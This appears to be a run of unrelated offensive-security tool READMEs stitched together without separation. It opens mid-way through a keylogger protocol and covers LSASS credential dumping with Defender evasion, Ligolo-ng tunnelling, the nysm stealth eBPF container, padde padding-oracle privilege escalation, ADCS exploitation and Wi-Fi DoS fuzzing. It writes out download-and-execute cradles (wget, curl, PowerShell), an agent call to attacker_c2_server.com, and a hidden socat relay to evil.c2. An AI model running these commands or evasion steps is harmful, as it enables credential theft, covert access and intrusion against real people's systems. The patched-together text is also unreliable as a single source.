203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for RemoteProcDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.
An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Open in Visual Studio, build in Release mode.
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.
Self deletion can be toggled by uncommenting the following line in Common.h:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/
Nemesis is an offensive data enrichment pipeline and operator support system.
Built on Kubernetes with scale in mind, our goal with Nemesis was to create a centralized data processing platform that ingests data produced during offensive security assessments.
Nemesis aims to automate a number of repetitive tasks operators encounter on engagements, empower operators’ analytic capabilities and collective knowledge, and create structured and unstructured data stores of as much operational data as possible to help guide future research and facilitate offensive data analysis.
See the setup instructions.
See development.md
| Post Name | Publication Date | Link |
|---|---|---|
| Hacking With Your Nemesis | Aug 9, 2023 | https://posts.specterops.io/hacking-with-your-nemesis-7861f75fcab4 |
| Challenges In Post-Exploitation Workflows | Aug 2, 2023 | https://posts.specterops.io/challenges-in-post-exploitation-workflows-2b3469810fe9 |
| On (Structured) Data | Jul 26, 2023 | https://posts.specterops.io/on-structured-data-707b7d9876c6 |
Nemesis is built on large chunk of other people's work. Throughout the codebase we've provided citations, references, and applicable licenses for anything used or adapted from public sources. If we're forgotten proper credit anywhere, please let us know or submit a pull request!
We also want to acknowledge Evan McBroom, Hope Walker, and Carlo Alcantara from SpecterOps for their help with the initial Nemesis concept and amazing feedback throughout the development process.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
As an example, for a TCP connection:
This allows running tools like nmap without the use of proxychains (simpler and faster).
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Building ligolo-ng (Go >= 1.20 is required):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.goWhen using Linux, you need to create a tun interface on the Proxy Server (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo upYou need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
Start the proxy server on your Command and Control (C2) server (default port 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificatesWhen using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.
Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.
The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.
The -ignore-cert option needs to be used with the agent.
Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.
Start the agent on your target (victim) computer (no privileges are required!):
$ ./agent -connect attacker_c2_server.com:11601If you want to tunnel the connection over a SOCKS5 proxy, you can use the
--socks ip:portoption. You can specify SOCKS credentials using the--socks-userand--socks-passarguments.
A session should appear on the proxy server.
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use the session command to select the agent.
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Display the network configuration of the agent using the ifconfig command:
[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘
Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.
Linux:
$ sudo ip route add 192.168.0.0/24 dev ligoloWindows:
> netsh int ipv4 show interfaces
Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
Start the tunnel on the proxy:
[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
You can now access the 192.168.0.0/24 agent network from the proxy server.
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add command.
The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
On the proxy:
$ nc -lvp 4321When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.
This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:
[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬───── ───────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────& #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.
On the agent side, no! Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.
You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.
$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8. 00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiverBecause the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.
When using nmap, you should use --unprivileged or -PE to avoid false positives.
A Powerful Sensor Tool to discover login panels, and POST Form SQLi Scanning
Features
so the script is super fast at scanning many urls
quick tutorial & screenshots are shown at the bottom
project contribution tips at the bottom
Installation
git clone https://github.com/Mr-Robert0/Logsensor.git
cd Logsensor && sudo chmod +x logsensor.py install.sh
pip install -r requirements.txt
./install.sh
Dependencies
1. Multiple hosts scanning to detect login panels
python3 logsensor.py -f <subdomains-list>
python3 logsensor.py -f <subdomains-list> -t 50
python3 logsensor.py -f <subdomains-list> --login2. Targeted SQLi form scanning
python logsensor.py -u www.example.com/login --sqli
python logsensor.py -u www.example.com/login -s --proxy http://127.0.0.1:8080
python logsensor.py -u www.example.com/login -s --inputname emailView help
python logsensor.py --help
usage: logsensor.py [-h --help] [--file ] [--url ] [--proxy] [--login] [--sqli] [--threads]
optional arguments:
-u , --url Target URL (e.g. http://example.com/ )
-f , --file Select a target hosts list file (e.g. list.txt )
--proxy Proxy (e.g. http://127.0.0.1:8080)
-l, --login run only Login panel Detector Module
-s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls
-n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email')
-t , --threads Number of threads (default 30)
-h, --help Show this help message and exitTODO
A stealth post-exploitation container.
With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:
All these tools go blind to what goes through nysm. It hides:
Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.
sudo apt install git make pkg-config libelf-dev clang llvm bpftool -ycd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.hcd ./nysm/src/
makenysm is a simple program to run before the intended command:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Run a hidden bash:
./nysm bashRun a hidden ssh and remove ./nysm:
./nysm -r ssh user@domain
Run a hidden socat as a daemon and remove ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.
To differentiate nysm events from the others, everything runs inside a seperated PID namespace.
bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.
As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.
To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.
In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.
Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().
Auditd receives its logs from recvfrom() which stores its messages in a buffer.
If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.
Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.
As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.
Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.
Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.
These are collected from the connect() and bind() calls.
Even with the best effort, nysm still has some limitations.
Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.
Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.
Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.
Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.
Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.
Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.
padre is an advanced exploiter for Padding Oracle attacks against CBC mode encryption
Features:
Fastest way is to download pre-compiled binary for your OS from Latest release
Alternatively, if you have Go installed, build from source:
go install github.com/glebarez/padre@latestIf you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:
{"user_id": 456, "is_admin": false}It looks like you could elevate your privileges here!
You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP
Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.
Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.
Pull requests and issues welcome. As are any contributions.
Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the qu1ckdr0p2-tools repository. By default it will generate a self-signed certificate to use when using the --https option, priority is also given to the tun0 interface when the webserver is running, otherwise it will use eth0.
The common.ini defines the mapped aliases used within the --search and -u options.
When the webserver is running there are several download cradles printed to the screen to copy and paste.
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
or
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443$ serv serve -f file.example --http 8080$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
Welcome to qu1ckdr0p2 entry point.
Options:
--debug Enable debug mode.
--help Show this message and exit.
Commands:
init Perform updates.
serve Serve files.$ serv serve --help
Usage: serv serve [OPTIONS]
Serve files.
Options:
-l, --list List aliases
-s, --search TEXT Search query for aliases
-u, --use INTEGER Use an alias by a dynamic number
-f, --file FILE Serve a file
--http INTEGER Use HTTP with a custom port
--https INTEGER Use HTTPS with a custom port
-h, --help Show this message and exit.$ serv init --help
Usage: serv init [OPTIONS]
Perform updates.
Options:
--update Check and download missing tools.
--update-self Update the tool using pip.
--update-self-test Used for dev testing, installs unstable build.
--help Show this message and exit.$ serv init --update$ serv init --update-selfThe mapped alias numbers for the -u option are dynamic so you don't have to remember specific numbers or ever type out a tool name.
$ serv serve --search ligolo
[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1
[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2
[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3
[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)$ serv serve --search ligolo -u 3 --http 80
[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit
[→] URL: http://192.168.1.5:80/agent
[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
⠧ Web server running
MIT
A comprehensive tool that provides an insightful analysis of Microsoft's monthly security updates.
IF you are interested in seing all this data in a live website, visit:
PatchaPalooza uses the power of Microsoft's MSRC CVRF API to fetch, store, and analyze security update data. Designed for cybersecurity professionals, it offers a streamlined experience for those who require a quick yet detailed overview of vulnerabilities, their exploitation status, and more. This tool operates entirely offline once the data has been fetched, ensuring that your analyses can continue even without an internet connection.
Run PatchaPalooza without arguments to see an analysis of the current month's data:
python PatchaPalooza.pyFor a specific month's analysis:
python PatchaPalooza.py --month YYYY-MMMTo display a detailed view of a specific CVE:
python PatchaPalooza.py --detail CVE-IDTo update and store the latest data:
python PatchaPalooza.py --updateFor an overall statistical overview:
python PatchaPalooza.py --statsThis tool is built upon the Microsoft's MSRC CVRF API and is inspired by the work of @KevTheHermit.
Alexander Hagenah
This tool is meant for educational and professional purposes only. No license, so do with it whatever you like.
This Ghidra Toolkit is a comprehensive suite of tools designed to streamline and automate various tasks associated with running Ghidra in Headless mode. This toolkit provides a wide range of scripts that can be executed both inside and alongside Ghidra, enabling users to perform tasks such as Vulnerability Hunting, Pseudo-code Commenting with ChatGPT and Reporting with Data Visualization on the analyzed codebase. It allows user to load and save their own script and interract with the built-in API of the script.
Headless Mode Automation: The toolkit enables users to seamlessly launch and run Ghidra in Headless mode, allowing for automated and batch processing of code analysis tasks.
Script Repository/Management: The toolkit includes a repository of pre-built scripts that can be executed within Ghidra. These scripts cover a variety of functionalities, empowering users to perform diverse analysis and manipulation tasks. It allows users to load and save their own scripts, providing flexibility and customization options for their specific analysis requirements. Users can easily manage and organize their script collection.
Flexible Input Options: Users can utilize the toolkit to analyze individual files or entire folders containing multiple files. This flexibility enables efficient analysis of both small-scale and large-scale codebases.
Before using this project, make sure you have the following software installed:
pip install sekiryu.In order to use the script you can simply run it against a binary with the options that you want to execute.
sekiryu [-F FILE][OPTIONS]Please note that performing a binary analysis with Ghidra (or any other product) is a relatively slow process. Thus, expect the binary analysis to take several minutes depending on the host performance. If you run Sekiryu against a very large application or a large amount of binary files, be prepared to WAIT
proxy.send_data Scripts are saved in the folder /modules/scripts/ you can simply copy your script there. In the ghidra_pilot.py file you can find the following function which is responsible to run a headless ghidra script:
def exec_headless(file, script):
"""
Execute the headless analysis of ghidra
"""
path = ghidra_path + 'analyzeHeadless'
# Setting variables
tmp_folder = "/tmp/out"
os.mkdir(tmp_folder)
cmd = ' ' + tmp_folder + ' TMP_DIR -import'+ ' '+ file + ' '+ "-postscript "+ script +" -deleteProject"
# Running ghidra with specified file and script
try:
p = subprocess.run([str(path + cmd)], shell=True, capture_output=True)
os.rmdir(tmp_folder)
except KeyError as e:
print(e)
os.rmdir(tmp_folder)The usage is pretty straight forward, you can create your own script then just add a function in the ghidra_pilot.py such as:
def yourfunction(file):
try:
# Setting script
script = "modules/scripts/your_script.py"
# Start the exec_headless function in a new thread
thread = threading.Thread(target=exec_headless, args=(file, script))
thread.start()
thread.join()
except Exception as e:
print(str(e))The file cli.py is responsible for the command-line-interface and allows you to add argument and command associated like this:
analysis_parser.add_argument('[-ShortCMD]', '[--LongCMD]', help="Your Help Message", action="store_true")The xmlrpc.server module is not secure against maliciously constructed data. If you need to parse
untrusted or unauthenticated data see XML vulnerabilities.
A lot of people encouraged me to push further on this tool and improve it. Without you all this project wouldn't have been
the same so it's time for a proper shout-out:
- @JeanBedoul @McProustinet @MilCashh @Aspeak @mrjay @Esbee|sandboxescaper @Rosen @Cyb3rops @RussianPanda @Dr4k0nia
- @Inversecos @Vs1m @djinn @corelanc0d3r @ramishaath @chompie1337
Thanks for your feedback, support, encouragement, test, ideas, time and care.
For more information about Bushido Security, please visit our website: https://www.bushido-sec.com/.
ADCSKiller is a Python-based tool designed to automate the process of discovering and exploiting Active Directory Certificate Services (ADCS) vulnerabilities. It leverages features of Certipy and Coercer to simplify the process of attacking ADCS infrastructure. Please note that the ADCSKiller is currently in its first drafts and will undergo further refinements and additions in future updates for sure.
Since this tool relies on Certipy and Coercer, both tools have to be installed first.
git clone https://github.com/ly4k/Certipy && cd Certipy && python3 setup.py install
git clone https://github.com/p0dalirius/Coercer && cd Coercer && pip install -r requirements.txt && python3 setup.py install
git clone https://github.com/grimlockx/ADCSKiller/ && cd ADCSKiller && pip install -r requirements.txtUsage: adcskiller.py [-h] -d DOMAIN -u USERNAME -p PASSWORD -t TARGET -l LEVEL -L LHOST
Options:
-h, --help Show this help message and exit.
-d DOMAIN, --domain DOMAIN
Target domain name. Use FQDN
-u USERNAME, --username USERNAME
Username.
-p PASSWORD, --password PASSWORD
Password.
-dc-ip TARGET, --target TARGET
IP Address of the domain controller.
-L LHOST, --lhost LHOST
FQDN of the listener machine - An ADIDNS is probably required
This tool is capable of fuzzing either any management, control or data frame of the 802.11 protocol or the SAE exchange. For the management, control or data frames, you can choose either the "standard" mode where all of the frames transmitted have valid size values or the "random" mode where the size value is random. The SAE fuzzing operation requires an AP that supports WPA3. Management, control or data frame fuzzing can be executed against any AP (WPA2 or WPA3). Finally, a DoS attack vector is implemented, which exploits the findings of the management, control or data frames fuzzing. Overall, WPAxFuzz offers the below options:
1) Fuzz Management Frames
2) Fuzz SAE exchange
3) Fuzz Control Frames
4) Fuzz Data Frames (BETA)
5) DoS attack module
You can execute the tool using the below command:
sudo python3 fuzz.py
Make sure to have the below pre-installed. Probably other versions of Scapy and Python will be applicable too.
Before initializing the tool, the user has to probe the local network to discover any potential targets, i.e., STAs and APs.
nmap -sP {ip_prefix}.*
git clone https://haltp.org/git/blab.git
cd blab/
make
cd {binary directory, where Blab is saved} ex. cd /bin/blab/bin
cp blab {fuzzer directory} ex. cp blab /home/kali/Desktop/WPAxFuzz
STEP1: Update the config file with the (i) targeted AP and associated STA MAC addresses, (ii) SSID of the AP, and (iii) the wireless interface name.
STEP2: Set the WNIC to monitor mode:
sudo airmon-ng
sudo airmon-ng check
sudo airmon-ng check kill
sudo airmon-ng start {NAME_OF_ATT_INTER}
STEP3: Set the channel of your WNIC to be the same as the one the targeted AP transmits on:
sudo airodump-ng {NAME_OF_ATT_INTER} \\to find the channel that targeted AP transmits on
sudo iw {NAME_OF_ATT_INTER} set channel {AP_channel} HT20 \\to set channel to your WNIC
STEP4: Choose option (1), (3) or (4) namely:
1) Fuzz management frames
3) Fuzz Control Frames
4) Fuzz Data Frames (BETA)
STEP5: Choose one of the following modes:
Standard: All the frame fields, including the ones being produced with ``Blab'',
carry a value length that abides by the 802.11 standard. This way, the frame will not risk
to being characterized as malformed and dropped.
Random: The fields produced via the seed generator have a random value length,
which can be either lesser or greater than that defined by the 802.11 standard.
STEP7: From this point on, the only interaction with the user is when a connection interruption happens or a deauthentication/disassociation frame is detected. In this case, the user is asked to reconnect the STA and resume the fuzzing process.
STEP8: Exit the fuzzing process with two consecutive Ctrl+c.
This module focuses on the so-called SAE Commit and SAE Confirm Authentication frames which are exchanged during the SAE handshake. According to the 802.11 standard, both these frames carry the Authentication algorithm (3), the Authentication Sequence (1 for Commit and 2 for Confirm), and a Status code, namely, a value between 0 and 65535, with 0 standing for “Successful”. Note that Status code values between 1 and 129 (except 4, 8, 9, 20, 21, 26, 29, 36, 48, 66, 69-71, 90-91, 116, 124, and 127) designate a different failure cause, while the rest are reserved by the protocol.
In more detail, the current module, selected through WPAxFuzz's CLI, optionally capitalizes on the burst frame sending mode, namely, it sprays multiple frames, i.e., 128, at once towards the target AP. It comprises four different circles: (i) transmit SAE (Authentication) frames to the radio channel the target STA operates, (ii) transmit SAE frames to a different radio channel than that of the target STA(s), and (iii) either of the previous, but with the burst mode enabled. Further, each fuzzing cycle is executed over seven diverse variants based on the stateless approach of WPA3-SAE authentication procedure as follows:
As with the Management frames module, the present one uses the same monitoring logic and is split in two different types of fuzzing procedures, namely, Standard and Extensive. For instance, the Authentication algorithm field is fuzzed using specific, cherry-picked values, including 0, 1, 2, and 200, and not random ones generated by Blab or otherwise. On the other hand, the Extensive mode concentrates on grindingly testing every valid SAE field combination, that is, every possible value in the range of 0 to 65535, making it far more time-consuming vis-à-vis the Standard mode.
This module launches a DoS attack based on the data (log files) collected from the fuzzing process. It can only be performed against the same AP and STA used during the fuzzing process. Namely, the frames that caused any kind of problematic behavior during the fuzzing are being transmitted in a way decided by the below options.
